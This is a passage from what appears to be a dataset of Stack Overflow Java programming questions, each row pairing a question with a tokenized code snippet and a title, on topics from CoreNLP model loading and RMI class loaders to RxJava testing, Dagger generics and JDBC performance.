java.util.concurrent.FutureTask.run ( Unknown Source ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( Unknown Source ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( Unknown Source ) at java.lang.Thread.run ( Unknown Source ) Caused by : edu.stanford.nlp.io.RuntimeIOException : Unrecoverable error while loading a tagger model at edu.stanford.nlp.tagger.maxent.MaxentTagger.readModelAndInit ( MaxentTagger.java:749 ) at edu.stanford.nlp.tagger.maxent.MaxentTagger. < init > ( MaxentTagger.java:283 ) at edu.stanford.nlp.tagger.maxent.MaxentTagger. < init > ( MaxentTagger.java:247 ) at edu.stanford.nlp.pipeline.POSTaggerAnnotator.loadModel ( POSTaggerAnnotator.java:78 ) at edu.stanford.nlp.pipeline.POSTaggerAnnotator. < init > ( POSTaggerAnnotator.java:62 ) at edu.stanford.nlp.pipeline.StanfordCoreNLP $ 4.create ( StanfordCoreNLP.java:491 ) ... 14 moreCaused by : java.io.IOException : Unable to resolve `` edu/stanford/nlp/models/pos-tagger/english-left3words/english-left3words-distsim.tagger '' as either class path , filename or URL at edu.stanford.nlp.io.IOUtils.getInputStreamFromURLOrClasspathOrFileSystem ( IOUtils.java:419 ) at edu.stanford.nlp.tagger.maxent.MaxentTagger.readModelAndInit ( MaxentTagger.java:744 ) ... 19 more public static edu.stanford.nlp.pipeline.StanfordCoreNLP snlp ; /** * @ see ServletContextListener # contextInitialized ( ServletContextEvent ) */ public void contextInitialized ( ServletContextEvent arg0 ) { Properties props = new Properties ( ) ; props.put ( `` annotators '' , `` tokenize , ssplit , pos , lemma , parse , ner , dcoref '' ) ; StanfordCoreNLP snlp = new StanfordCoreNLP ( props ) ; }",Getting locations in stanford core nlp +Java,"I trying to make simple java profiler and using ClassLoader for this.This is my implementation of ClassLoader : When i 've try to use this class loader i receive this output ( I 've tried to use 1.6_37 and 1.7_10 jkd ) : I 've thought that problem is in the RMI server , but i wrote another RMI client and it works good.Does anyone know where is the problem ( s ) and how to solve it ( them ) ?","import java.rmi.RemoteException ; import java.rmi.registry.LocateRegistry ; import java.rmi.registry.Registry ; public class CustomClassLoader extends ClassLoader { private Notifier notifier ; public CustomClassLoader ( ) { super ( ) ; } public CustomClassLoader ( ClassLoader parent ) { super ( parent ) ; } private void initNotifier ( ) { if ( notifier ! = null ) return ; try { System.out.println ( `` 2 '' ) ; Registry registry = LocateRegistry.getRegistry ( Const.registryPort ) ; System.out.println ( `` 3 '' ) ; notifier = ( Notifier ) registry.lookup ( Const.stubName ) ; System.out.println ( `` 4 '' ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; System.exit ( 1 ) ; } } @ Override protected synchronized Class < ? > loadClass ( String name , boolean resolve ) throws ClassNotFoundException { System.out.println ( `` 0 '' ) ; Class clazz = super.loadClass ( name , resolve ) ; System.out.println ( `` 1 '' ) ; initNotifier ( ) ; System.out.println ( `` 5 '' ) ; try { notifier.classLoaded ( name ) ; System.out.println ( `` 6 '' ) ; } catch ( RemoteException e ) { e.printStackTrace ( ) ; System.exit ( 1 ) ; } return clazz ; } } C : \Users\Scepion1d > java -cp C : \Users\Scepion1d\Dropbox\Workspace\IntellijIDEA\profiler\out\artifacts\loader\loader.jar ; C : \Users\Scepion1d\Dropbox\Workspace\IntellijIDEA\app\out\production\app -Djava.system.class.loader=CustomClassLoader Main01201230123java.lang.IllegalArgumentException : Non-positive latency : 0 at sun.misc.GC $ LatencyRequest. < init > ( GC.java:190 ) at sun.misc.GC $ LatencyRequest. < init > ( GC.java:156 ) at sun.misc.GC.requestLatency ( GC.java:254 ) at sun.rmi.transport.DGCClient $ EndpointEntry.lookup ( DGCClient.java:212 ) at sun.rmi.transport.DGCClient.registerRefs ( DGCClient.java:120 ) at sun.rmi.transport.ConnectionInputStream.registerRefs ( ConnectionInputStream.java:80 ) at sun.rmi.transport.StreamRemoteCall.releaseInputStream ( StreamRemoteCall.java:138 ) at sun.rmi.transport.StreamRemoteCall.done ( StreamRemoteCall.java:292 ) at sun.rmi.server.UnicastRef.done ( UnicastRef.java:431 ) at sun.rmi.registry.RegistryImpl_Stub.lookup ( Unknown Source ) at CustomClassLoader.initNotifier ( CustomClassLoader.java:22 ) at CustomClassLoader.loadClass ( CustomClassLoader.java:35 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:247 ) at sun.security.jca.ProviderConfig $ 3.run ( ProviderConfig.java:234 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.security.jca.ProviderConfig.doLoadProvider ( ProviderConfig.java:225 ) at sun.security.jca.ProviderConfig.getProvider ( ProviderConfig.java:205 ) at sun.security.jca.ProviderList.getProvider ( ProviderList.java:215 ) at sun.security.jca.ProviderList.getService ( ProviderList.java:313 ) at sun.security.jca.GetInstance.getInstance ( GetInstance.java:140 ) at java.security.Security.getImpl ( Security.java:659 ) at java.security.MessageDigest.getInstance ( MessageDigest.java:129 ) at java.rmi.dgc.VMID.computeAddressHash ( VMID.java:140 ) at java.rmi.dgc.VMID. < clinit > ( VMID.java:27 ) at sun.rmi.transport.DGCClient. < clinit > ( DGCClient.java:66 ) at sun.rmi.transport.ConnectionInputStream.registerRefs ( ConnectionInputStream.java:80 ) at sun.rmi.transport.StreamRemoteCall.releaseInputStream ( StreamRemoteCall.java:138 ) at sun.rmi.transport.StreamRemoteCall.done ( StreamRemoteCall.java:292 ) at sun.rmi.server.UnicastRef.done ( UnicastRef.java:431 ) at sun.rmi.registry.RegistryImpl_Stub.lookup ( Unknown Source ) at CustomClassLoader.initNotifier ( CustomClassLoader.java:22 ) at CustomClassLoader.loadClass ( CustomClassLoader.java:35 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:247 ) at sun.security.jca.ProviderConfig $ 3.run ( ProviderConfig.java:234 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.security.jca.ProviderConfig.doLoadProvider ( ProviderConfig.java:225 ) at sun.security.jca.ProviderConfig.getProvider ( ProviderConfig.java:205 ) at sun.security.jca.ProviderList.getProvider ( ProviderList.java:215 ) at sun.security.jca.ProviderList $ 3.get ( ProviderList.java:130 ) at sun.security.jca.ProviderList $ 3.get ( ProviderList.java:125 ) at java.util.AbstractList $ Itr.next ( AbstractList.java:345 ) at java.security.SecureRandom.getPrngAlgorithm ( SecureRandom.java:522 ) at java.security.SecureRandom.getDefaultPRNG ( SecureRandom.java:165 ) at java.security.SecureRandom. < init > ( SecureRandom.java:133 ) at java.rmi.server.UID. < init > ( UID.java:92 ) at java.rmi.server.ObjID. < clinit > ( ObjID.java:71 ) at java.rmi.registry.LocateRegistry.getRegistry ( LocateRegistry.java:158 ) at java.rmi.registry.LocateRegistry.getRegistry ( LocateRegistry.java:106 ) at java.rmi.registry.LocateRegistry.getRegistry ( LocateRegistry.java:73 ) at CustomClassLoader.initNotifier ( CustomClassLoader.java:20 ) at CustomClassLoader.loadClass ( CustomClassLoader.java:35 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:247 )",ClassLoader with RMI invocation +Java,"I am trying to retrieve my SMS log using the REST api but I ca n't figure out how to filter DateSent to be > = or < = than given date.According to documentation here https : //www.twilio.com/docs/api/rest/message # list-get-filters you are allowed to send > = or < = , but ca n't figure out where to put the inequality .","TwilioRestClient client = new TwilioRestClient ( ACCOUNT_SID , AUTH_TOKEN ) ; Map < String , String > filters = new HashMap < String , String > ( ) ; filters.put ( `` DateSent '' , `` 2014-04-27 '' ) ; filters.put ( `` To '' , `` +XXXXXXXXX '' ) ; MessageList messages = client.getAccount ( ) .getMessages ( filters ) ;",How can I set filter for DateSent to getMessages in Java using Twilio REST API +Java,"Accoriding to javadoc , But , If Number class already implements java.io.Serializable then why do AtomicInteger implements it again ? Edit : Does Serializable being a marker interface makes any difference in this context ?",public class AtomicInteger extends Number implements java.io.Serializable { // code for class } public abstract class Number implements java.io.Serializable { //code for class },Why does AtomicInteger implements Serializable +Java,"I want to find out the unique element of column 3 which are `` C '' , '' G '' and there are 2 unique element in column 3.This can be done using loop but I ca n't use loop . Using java stream there may be a solution.In addition , how can I get count of rows having `` A '' , '' B '' in column 1,2 at a time and in general for N columns ?","import java.util.ArrayList ; import java.util.Arrays ; import java.util.List ; import java.util.Map ; import java.util.Set ; import java.util.function.Function ; import java.util.stream.Collectors ; public class Delete { public static void main ( String [ ] args ) { List < List < String > > list = new ArrayList < > ( ) ; list.add ( List.of ( `` A '' , '' B '' , '' C '' , '' R '' ) ) ; list.add ( List.of ( `` E '' , '' F '' , '' G '' , '' F '' ) ) ; list.add ( List.of ( `` A '' , '' B '' , '' C '' , '' D '' ) ) ; System.out.println ( list.stream ( ) .distinct ( ) .count ( ) ) ; Map < String , Long > countMapOfColumn = list.stream ( ) .filter ( innerList - > innerList.size ( ) > = 3 ) .map ( innerList - > innerList.get ( 3 - 1 ) ) .collect ( Collectors.groupingBy ( Function.identity ( ) , Collectors.counting ( ) ) ) ; System.out.println ( countMapOfColumn.keySet ( ) ) ; } }",How to find unique value of a column of a 2D ArrayList in java ? +Java,"As you can see from the code below , I am attempting to test the behavior of the doOnComplete ( ) call occurring within my repository . However , when I mock the injected dependency of my client where I return items using Observable.just ( ) , the doOnComplete ( ) is no longer invoked . I believe this is intentional as per RxJava2 . I 'm unsure as to how to work around this .","@ Singletonpublic class Repository { private SomeNetworkClient client ; private SomeCache cache ; @ Inject public Repository ( SomeNetworkClient client , SomeCache cache ) { this.client = client ; this.cache = cache ; } public Observable < SomeItem > getSomeItem ( ) { return client.getSomeItem ( ) .doOnComplete ( ( ) - > cache.doThisOnComplete ( ) ) .doOnError ( throwable - > someError ) ; } } public class RepositoryTest { private Repository testedRepository ; @ Mock SomeNetworkClient client ; @ Mock SomeCache cache ; @ Mock SomeItem someItem ; @ Before public void setup ( ) { MockitoAnnotations.initMocks ( this ) ; testedRepository = new Repository ( client , cache ) ; when ( client.getSomeItem ( ) ) .thenReturn ( Observable.just ( someItem ) ) ; } @ Test public void thisTestFails ( ) { testedRepository.getSomeItem ( ) .blockingFirst ( ) ; // This fails because it appears that mocking with // Observable.just ( ) makes doOnComplete ( ) not be invoked . verify ( cache.doThisOnComplete ( ) ) ; } }",Testing RxJava2 doOnComplete ( ) +Java,"I am using FEST to test my Java dialogs and I need to test that a new modal dialog is created.Note : TestFrame is a helper class which extends JFrame for use in unit testing.In my test , I click a button which makes a modal dialog appear . I am trying to find and verify the dialog is created , however all of my attempts are n't able to find anything : Where robot =BasicRobot.robotWithCurrentAwtHierarchy ( ) ; BasicRobot.robotWithNewAwtHierarchy ( ) ; frameFixture.robot ( frameFixture = > JFrame ) I have also tried specifying the lookup scope of the robot : There are lots of FEST examples online which make a call to robot ( ) but I ca n't find out how or what this robot function is supposed to be.Why am I unable to find my newly created popup dialog ?",@ Beforepublic void setUp ( ) throws Exception { TestFrame testFrame = GuiActionRunner.execute ( new GuiQuery < TestFrame > ( ) { @ Override protected TestFrame executeInEDT ( ) throws Throwable { panel = new CustomPanel ( ) ; return new TestFrame ( panel ) ; } } ) ; frameFixture = new FrameFixture ( testFrame ) ; frameFixture.show ( ) ; frameFixture.robot.waitForIdle ( ) ; } WindowFinder.findDialog ( `` Window Title '' ) ) .using ( robot ) ; robot.settings ( ) .componentLookupScope ( ComponentLookupScope.ALL ) ;,Using WindowFinder to find a modal dialog +Java,"I want to return type with generic to be exposed by sub-graphs , the problem is in auto-generated java-classes , I tried to do something , but the one way to solve it is to remove generic type from AppComponent and return simple object . Is there more `` right '' approach ? Here is the AppComponenthere is function in the ApplicationModuleThen I want to receive my DatabaseAnd then I see log that says : Because dagger2 generates factories like this and there is java masks","@ Singleton @ Component ( modules = arrayOf ( ApplicationModule : :class ) ) interface ApplicationComponent { fun inject ( activity : BaseActivity < MvpView , MvpPresenter < MvpView > > ) // ... fun dataBase ( ) : Database < Realm > } @ Provides @ Singleton fun provideDatabase ( @ AppContext context : App ) : Database < Realm > { Realm.init ( context ) val config = RealmConfiguration.Builder ( ) .deleteRealmIfMigrationNeeded ( ) .name ( `` db '' ) .build ( ) Realm.setDefaultConfiguration ( config ) return RealmDatabase ( Realm.getDefaultInstance ( ) ) } @ Provides @ ActivityScope fun provideDich ( database : Database < Realm > ) = Someobject ( database ) **Error : com.test.data.storage.Database < ? extends io.realm.Realm > can not be provided without an @ Provides-annotated method . ** public final class Logout_Factory implements Factory < Logout > { private final MembersInjector < Logout > logoutMembersInjector ; private final Provider < SessionStorage.CloudStorage > arg0Provider ; private final Provider < Database < ? extends Realm > > arg1Provider ; public Logout_Factory ( MembersInjector < Logout > logoutMembersInjector , Provider < SessionStorage.CloudStorage > arg0Provider , Provider < Database < ? extends Realm > > arg1Provider ) { assert logoutMembersInjector ! = null ; this.logoutMembersInjector = logoutMembersInjector ; assert arg0Provider ! = null ; this.arg0Provider = arg0Provider ; assert arg1Provider ! = null ; this.arg1Provider = arg1Provider ; } @ Override public Logout get ( ) { return MembersInjectors.injectMembers ( logoutMembersInjector , new Logout ( arg0Provider.get ( ) , arg1Provider.get ( ) ) ) ; } public static Factory < Logout > create ( MembersInjector < Logout > logoutMembersInjector , Provider < SessionStorage.CloudStorage > arg0Provider , Provider < Database < ? extends Realm > > arg1Provider ) { return new Logout_Factory ( logoutMembersInjector , arg0Provider , arg1Provider ) ; } }","Dagger 2 with Kotlin , returning type with generic in ApplicationComponent" +Java,A method called in a ternary operator increments a variable and returns a boolean value . When the function returns false the value is reverted . I expected the variable to be 1 but am getting 0 instead . Why ?,public class Main { public int a=0 ; //variable whose value is to be increased in function boolean function ( ) { a++ ; return false ; } public static void main ( String argv [ ] ) { Main m=new Main ( ) ; m.a+= ( m.function ( ) ? 1:0 ) ; System.out.println ( m.a ) ; //expected output to be 1 but got a 0 ! ! ! ! ! } },Increment in function overwritten by += +Java,Output : Thought this would throw me NPE . What is the fundamental logic behind not throwing NPE while using + ( concatenation ) throwing NPE while using .,String s = null ; s = s + `` hai '' ; System.out.println ( s ) ; nullhai,` null ` is treated as String ? +Java,"To this question : The superqueen is a chess piece that can move like a queen , but also like a knight . What is the maximal number of superqueens on an 8X8 chessboard such that no one can capture an other ? I want to write a brute force algorithm to find the maximum . Here 's what I wrote : I have two questions : My algorithm for checkknight looks for all knight positions , is it wrong ? or there is some coding error.Everything is working fine when I comment out it and I get a nice solution.Secondly it 'll result only in one solution.For other solutions I have to offset ( or change position ) of other pieces bit by bit after each mega-loop of this , I am confused about implementing it . My instincts guide me that I need to change whole of the code . Is there a modification or a way to do it ? Additional Thoughts : I think we would add to a counter each time we place a piece and add to a long array and output the maximum and array after storing the relevant data . Code Location : You may view/edit/fork/download it at http : //ideone.com/gChD8a","public class Main { public static boolean chess [ ] [ ] ; public static void main ( String [ ] args ) throws java.lang.Exception { chess = new boolean [ 8 ] [ 8 ] ; chess [ 0 ] [ 0 ] = true ; for ( int i = 0 ; i < 8 ; i++ ) { for ( int j = 0 ; j < 8 ; j++ ) { /*Loop to check various possibilities*/ if ( ! checkrow ( i ) & & ! checkcolumn ( j ) & & ! checkdiagonals ( i , j ) & & ! checkknight ( i , j ) ) { if ( i ! = 0 || j ! = 0 ) { chess [ i ] [ j ] = true ; } } } } /*printing the array*/ for ( int i = 0 ; i < 8 ; i++ ) { for ( int j = 0 ; j < 8 ; j++ ) { System.out.print ( ( ( chess [ i ] [ j ] ) ? `` T '' : `` x '' ) + `` | '' ) ; } System.out.println ( ) ; } } /*All working fine here*/ public static boolean checkrow ( int a ) { for ( int i = 0 ; i < 8 ; i++ ) { if ( chess [ a ] [ i ] ) { return true ; } } return false ; } /*All working fine here*/ public static boolean checkcolumn ( int a ) { for ( int i = 0 ; i < 8 ; i++ ) { if ( chess [ i ] [ a ] ) { return true ; } } return false ; } /*All working fine here*/ public static boolean checkdiagonals ( int pi , int pj ) { int i = pi - Math.min ( pi , pj ) ; int j = pj - Math.min ( pi , pj ) ; for ( int k = i , l = j ; k < 8 & & l < 8 ; k++ , l++ ) { if ( chess [ k ] [ l ] ) { return true ; } } int i_2 = pi - Math.min ( pi , pj ) ; int j_2 = pj + Math.min ( pi , pj ) ; for ( int k = i_2 , l = j_2 ; k < 8 & & l > 1 ; k++ , l -- ) { if ( chess [ k ] [ l ] ) { return true ; } } return false ; } /*Not All working fine here try commenting out this method above so that that it does n't run during the check*/ public static boolean checkknight ( int pi , int pj ) { for ( int i = -1 ; i < = 1 ; i++ ) { for ( int j = -1 ; j < = 1 ; j++ ) { if ( 0 < = pi + 2 * i & & pi + 2 * i < = 8 & & 0 < = pj + j & & pj + j < = 8 ) { if ( chess [ pi + 2 * i ] [ pj + j ] ) { return true ; } } if ( 0 < = pi + i & & pi + i < = 8 & & 0 < = pj + 2 * j & & pj + 2 * j < = 8 ) { if ( chess [ pi + i ] [ pj + 2 * i ] ) { return true ; } } } } return false ; } }",Confused about writing a program for placing some modified queen-type pieces on an 8 x 8 board +Java,"I have written a program to parse a text file which contains a sample C program with if , else and while condition.I have 2 ArrayLists and my program will parse through the file . I 'm using Matcher and have specified pattern Strings in Pattern.compile ( ) . I am trying to draw a control flow graph for a particular program ; however , I 'm just finding the nodes for now and will link them up later.Here is my code : What I 'm trying to do here is , if my String is found , enter the line number in ArrayList b , otherwise enter the line number in ArrayList a . Hence , I know , which lines have if , else and while statements.I do n't know if my code is incorrect or what , the input file is as below : and the output of the program is : PS : I 'm an amateur , this program could be logically incorrect.Please let me know if any more information is needed.EDIT : Code that works fine for just one string search : Above one works fine ( its just a part of code , not entire program . program is same as above one ) and returns the line number where if is found . I used same logic and added the else and while part .","//import static LineMatcher.ENCODING ; import java.io.BufferedReader ; import java.io.IOException ; import java.io.LineNumberReader ; import java.nio.charset.Charset ; import java.nio.charset.StandardCharsets ; import java.nio.file.Files ; import java.nio.file.Path ; import java.nio.file.Paths ; import java.util.ArrayList ; import java.util.List ; import java.util.regex.Matcher ; import java.util.regex.Pattern ; public final class CFG { public void findLines ( String aFileName ) { List < Integer > a = new ArrayList < Integer > ( ) ; List < Integer > b = new ArrayList < Integer > ( ) ; // int [ ] a = new int [ 10000 ] ; // int [ ] b = new int [ 10000 ] ; Pattern regexp = Pattern.compile ( `` if|else|while '' ) ; Matcher exp1 = regexp.matcher ( `` if '' ) ; Matcher exp2 = regexp.matcher ( `` else '' ) ; Matcher exp3 = regexp.matcher ( `` while '' ) ; Path path = Paths.get ( aFileName ) ; try ( BufferedReader reader = Files.newBufferedReader ( path , ENCODING ) ; LineNumberReader lineReader = new LineNumberReader ( reader ) ; ) { String line = null ; while ( ( line = lineReader.readLine ( ) ) ! = null ) { // exp1.reset ( line ) ; //reset the input int counter = 1 ; if ( exp1.find ( ) ) { int l = lineReader.getLineNumber ( ) ; b.add ( l ) ; } if ( exp2.find ( ) ) { int l = lineReader.getLineNumber ( ) ; b.add ( l ) ; } if ( exp3.find ( ) ) { int l = lineReader.getLineNumber ( ) ; b.add ( l ) ; } else { int l = lineReader.getLineNumber ( ) ; a.add ( l ) ; } } // counter++ ; System.out.println ( a ) ; System.out.println ( b ) ; } catch ( IOException ex ) { ex.printStackTrace ( ) ; } } final static Charset ENCODING = StandardCharsets.UTF_8 ; public static void main ( String ... arguments ) { CFG lineMatcher = new CFG ( ) ; lineMatcher.findLines ( `` C : Desktop\\test.txt '' ) ; } } # include < stdio.h > int main ( ) { int i=1 , sum = 0 ; if ( i = 1 ) { sum += i ; } else printf ( `` sum = % d\n '' , sum ) ; return 0 ; } run : [ 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 ] [ 1 , 1 , 1 ] Pattern regexp = Pattern.compile ( `` if '' ) ; Matcher matcher = regexp.matcher ( `` if '' ) ; Path path = Paths.get ( aFileName ) ; try ( BufferedReader reader = Files.newBufferedReader ( path , ENCODING ) ; LineNumberReader lineReader = new LineNumberReader ( reader ) ; ) { String line = null ; while ( ( line = lineReader.readLine ( ) ) ! = null ) { matcher.reset ( line ) ; //reset the input if ( matcher.find ( ) ) { int a= lineReader.getLineNumber ( ) ; System.out.println ( a ) ; } } } catch ( IOException ex ) { ex.printStackTrace ( ) ; }",pattern.compile help java program +Java,"I 've been looking into autogenerated JHipster monolith application and something that enchain my attention was the fact of missing annotation @ Autowired/ @ Inject above How is it possible that this works fine , but when I tried making something similar it did n't ?",private static final UserRepository userRepository ;,JHipster - Hidden @ Autowired / @ Inject +Java,"I think the short answer may be no , but I 'm hoping I can get alternative suggestions . Assume I have a data object and a data service . The data service is an interface and has the following method.I 'm creating a proxy for the service using the following invocation handler plus Netty to do what I 'd call asynchronous rpc . The proxy is on the client side.This works fine . However , if my client is a UI , I end up wrapping the service call in something like a SwingWorker . I 'd prefer to come up with a way of returning the ListenableFuture that I already have sitting there . Is there any way I can accomplish that without creating a separate , asynchronous service API . For example : If I could have my InvocationHandler return the wrong type , I could use something like this.Is there another way of accomplishing what I want ? Performance is n't an issue for me , so blocking until the proxy can get the return value from the future is still an option if there 's no simple way of doing what I want . It just seems like a waste since I want an asynchronous call in the UI anyway.Keeping my service API simple is more of a priority than anything . I want to be able to prototype using a simple service provider that instantiates service implementations directly and plug in my remoting protocol / server that 's using dynamic proxies / Netty late in the development cycle .","public Data getData ( ) ; @ Overridepublic Object invoke ( Object proxy , Method method , Object [ ] args ) throws Throwable { // Convert the call into an async request that returns a ListenableFuture APCRequest request = new APCRequest ( serviceType , method , args ) ; ListenableFuture future = apcClient.asyncMessage ( request ) ; // This blocks until the future finishes return future.get ( ) ; } public ListenableFuture < Data > getData ( ) ; public abstract class AsyncServiceCall < S , D > { // S = service type , D = expected doCall return type protected final S service ; protected AsyncServiceCall ( Class < S > serviceType , APCClient client ) { ProxyFactory proxyFactory = new ProxyFactory ( client ) ; // The true tells the proxyFactory we 're expecting a ListenableFuture < D > // rather than the real return type . service = proxyFactory.createProxy ( serviceType , true ) ; } // Sub-classes would make a normal method call using this . For // example , service.getData ( ) public abstract Object doCall ( ) ; @ SuppressWarnings ( `` unchecked '' ) public ListenableFuture < D > execute ( ) { return ( ListenableFuture < D > ) doCall ( ) ; }","By using a dynamic proxy , is there a way I can return an object whose type does n't match the method signature of the proxied interface ?" +Java,"I am getting the `` Invalid character constant '' due to single quot in java sql string , i need double quote which i have put in single quote","new StringBuffer ( `` SELECT REPLACE ( u.nombre , ' , ' , ' ' ) as Organizacion , `` ) .append ( `` CONCAT ( ' `` ' , REPLACE ( s.direccion , ' , ' , ' ' ) , ' '' ' ) as Street , ' '' '' ' as Street2 , '' )",invalid charecter for single quotes for sql string in java +Java,"In my app , I need to branch out if the input matches some specific 20 entries . I thought of using an enumand a switch on the enum constant to do a functionBut the input strings will be like 'is on ' , 'is not on ' , 'is before ' etc without _ between words . I learnt that an enum can not have constants containing space . Possible ways I could make out : 1 , Using if statement to compare 20 possible inputs that giving a long if statement like2 , Work on the input to insert _ between words but even other input strings that do n't come under this 20 can have multiple words.Is there a better way to implement this ?","public enum dateRule { is_on , is_not_on , is_before , ... } switch ( dateRule.valueOf ( input ) ) { case is_on : case is_not_on : case is_before : . . . // function ( ) break ; } if ( input.equals ( `` is on '' ) || input.equals ( `` is not on '' ) || input.equals ( `` is before '' ) ... ) { // function ( ) }",complex if ( ) or enum ? +Java,"I 'm curious how are the static final fields treated by the JVM . I saw a similar question here but it 's not what I 'm looking for . Let 's consider such example : In TestClassX fields , as they are final and can not be modified , have the same values in all instances of the TestClassX class . Of course I can not write TestClassX.CODE_A but I can say , that these values are actually common for all instances - I 'm sure , that each instance has a CODE_A field with the value 132.In the TestClassY I can use the syntax TestClassY.CODE_A , but at a first sight it 's only easier for a developer who sees `` Oh , those values are common for all instances '' .My main question : I guess that JVM , in case of TestClassX , does n't use any extra memory for final fields each time a new instance is created . Does it ? Does JVM make any optimization in this case and what kind of optimization it is ? Extra question 1 ) I 'm also sure that I 'm missing something very important here which is the cause of my doubts . What 's that ? Extra question 2 ) Btw . How can I take a look at how my Java source code looks like after the JVM optimization ( so I can use in in the future ; ) ) ? Does any IDE support such a functionality ? IntelliJ for example ? I would like simply to see how JVM treats my TestClassX and TestClassY .",public class TestClassX { public final int CODE_A = 132 ; public final int CODE_B = 948 ; public final int CODE_C = 288 ; // some other code } public class TestClassY { public static final int CODE_A = 132 ; public static final int CODE_B = 948 ; public static final int CODE_C = 288 ; // some other code },final static vs final non-static fields and JVM optimization +Java,"I have this Java code : Is it guaranteed to print true on the console ? I mean , is it comparing the two boxed integers by value ( which is what I need to do ) or by reference identity ? Also , will it be any different if I cast them to unboxed integers like this",public class Foo { public static void main ( String [ ] args ) { Integer x = 5 ; Integer y = 5 ; System.out.println ( x == y ) ; } } public class Foo { public static void main ( String [ ] args ) { Integer x = 5 ; Integer y = 5 ; System.out.println ( ( int ) x == ( int ) y ) ; } },Is it safe to compare two ` Integer ` values with ` == ` in Java ? +Java,"What i have done is to just get to know how Generics works in Java.I have written the following code : And output isMy question is Why this is changing Class from Integer to String and not showing error/exception.And second thing is that when I write t = 9 ; in function fun ( ) , it shows : How do generic classes work and how are they used ? Your response will be greatly appreciated ! !","public class Test { public static void main ( String ... args ) throws Exception { Foo o = new Foo < Integer > ( new Integer ( 5 ) ) ; o.fun ( ) ; } } class Foo < T > { private T t ; public Foo ( T t ) throws InstantiationException , IllegalAccessException { System.out.println ( `` 1 . T is `` +t.getClass ( ) ) ; this.t = ( T ) '' test '' ; System.out.println ( `` 2 . T is `` +t.getClass ( ) ) ; } void fun ( ) { System.out.println ( `` 3 . T is `` +t.getClass ( ) + '' t = `` +t ) ; } } 1 . T is class java.lang.Integer2 . T is Still class java.lang.Integer3 . T is class java.lang.String t = test incompatible typesrequired : Tfound : java.lang.Integer",How and when does Class T change from Integer to String rather than showing error/exception +Java,"As you may know , the standard SWT main loop looks like this : Recently , I had an argument with a colleague about whether it would make sense to wrap the main loop in a try-catch , like so : My colleague says doing it this way you wo n't have to immediately shut down the application if a crash in the GUI thread occurs , hence the user may have a chance to save his data before closing the program.So , what do you think ? Does it make sense to do such a thing ?",Display display = new Display ( ) ; Shell shell = new Shell ( display ) ; ... shell.open ( ) ; while ( ! shell.isDisposed ( ) ) { if ( ! display.readAndDispatch ( ) ) { display.sleep ( ) ; } } display.dispose ( ) ; Display display = new Display ( ) ; Shell shell = new Shell ( display ) ; ... shell.open ( ) ; while ( ! shell.isDisposed ( ) ) { try { if ( ! display.readAndDispatch ( ) ) { display.sleep ( ) ; } } catch ( RuntimeException e ) { // TODO Implement exception handler } } display.dispose ( ) ;,Java SWT : Wrap main loop in exception handler ? +Java,I have the following Java method : I 'm trying to rewrite it using Java 8 streams . My best attempt thus far : But I 'm at a loss as to what I put in the stream filter ( substituting ? ? ? ) ... any ideas ?,public List < GrantedAuthority > toAuthorities ( Set < Role > roles ) { List < GrantedAuthority > authorities = new ArrayList < > ( ) ; if ( null ! = roles ) { for ( Role role : roles ) { for ( Permission permission : role.getPermissions ( ) ) { authorities.add ( new SimpleGrantedAuthority ( `` ROLE_ '' + permission.getLabel ( ) ) ) ; } } } return authorities ; } public List < GrantedAuthority > toAuthorities ( Set < Role > roles ) { List < GrantedAuthority > authorities = new ArrayList < > ( ) ; if ( null ! = roles ) { roles.stream ( ) .filter ( role - > ? ? ? ) .collect ( Collectors.toList ( ) ) ; } return authorities ; },Rewrite double nested for loop as a Java 8 stream +Java,"This is from JLS 17.5 : The usage model for final fields is a simple one . Set the final fields for an object in that object 's constructor . Do not write a reference to the object being constructed in a place where another thread can see it before the object 's constructor is finished . If this is followed , then when the object is seen by another thread , that thread will always see the correctly constructed version of that object 's final fields . It will also see versions of any object or array referenced by those final fields that are at least as up-to-date as the final fields are.The discussion in JLS 17.5 includes this sample code : I tried reusing this code to replicate the situation above , and here is what I have : I can test how final gets read correctly , but how can I replicate when it is not read correctly ( i.e . when there is a reference to the tread before the constructor is finished ? )",class FinalFieldExample { final int x ; int y ; static FinalFieldExample f ; public FinalFieldExample ( ) { x = 3 ; y = 4 ; } static void writer ( ) { f = new FinalFieldExample ( ) ; } static void reader ( ) { if ( f ! = null ) { int i = f.x ; // guaranteed to see 3 int j = f.y ; // could see 0 } } } public class FinalFieldThread extends Thread { public static void main ( String [ ] args ) { ThreadA threadA = new ThreadA ( ) ; ThreadB threadB = new ThreadB ( ) ; threadB.start ( ) ; threadA.start ( ) ; //threadB.start ( ) ; } } class ThreadA extends Thread { @ Override public void run ( ) { System.out.println ( `` ThreadA '' ) ; FinalFieldExample.writer ( ) ; } } class ThreadB extends Thread { @ Override public void run ( ) { System.out.println ( `` ThreadB '' ) ; FinalFieldExample.reader ( ) ; } },Final Fields Semantics in Threads +Java,"we are using presto cluster as distributed SQL queryour cluster size 1 machine as coordinator machine12 presto workers machineseach machine is 64G memory size , and on each machine only presto application installed about the jvm.config on the workers , look like thisand the jvm.config on the presto coordinator , like like thiswe set the Xmn and Xmx values as above , but this setting is only estimationcan we get help how to tune the Xmn and Xmx according to MAX memory - 64Gso presto cluster performance will tune to the best practice sizing",-server-Xmn10G-Xmx50G-XX : +UseG1GC-XX : +ExplicitGCInvokesConcurrent-XX : +CMSClassUnloadingEnabled-XX : +AggressiveOpts-XX : +HeapDumpOnOutOfMemoryError -server-Xmn4096M-Xmx30G-XX : ReservedCodeCacheSize=600M-XX : MaxHeapFreeRatio=30-XX : MinHeapFreeRatio=10-XX : +UseG1GC,Presto cluster + how to tune the jvm.config according to memory resources +Java,"I have a performance issue with calling getInt inside a ResultSetExtractor . GetInt is called 20000 times . One call cost 0.15 ms , the overall cost is 24 seconds , while running inside the profiler . The execution of the SQL statements takes around 8 seconds ( access over Primary-Key ) . I use the mysql driver version 5.1.13 , mysql server 5.1.44 and spring-jdbc-3.1.1 Have you an idea to improve the performance ? My scheme looks like thisEdit : Within getInt the methode getIntWithOverflowCheck is called which seems to be expensive . Is it possible to turn of this checks 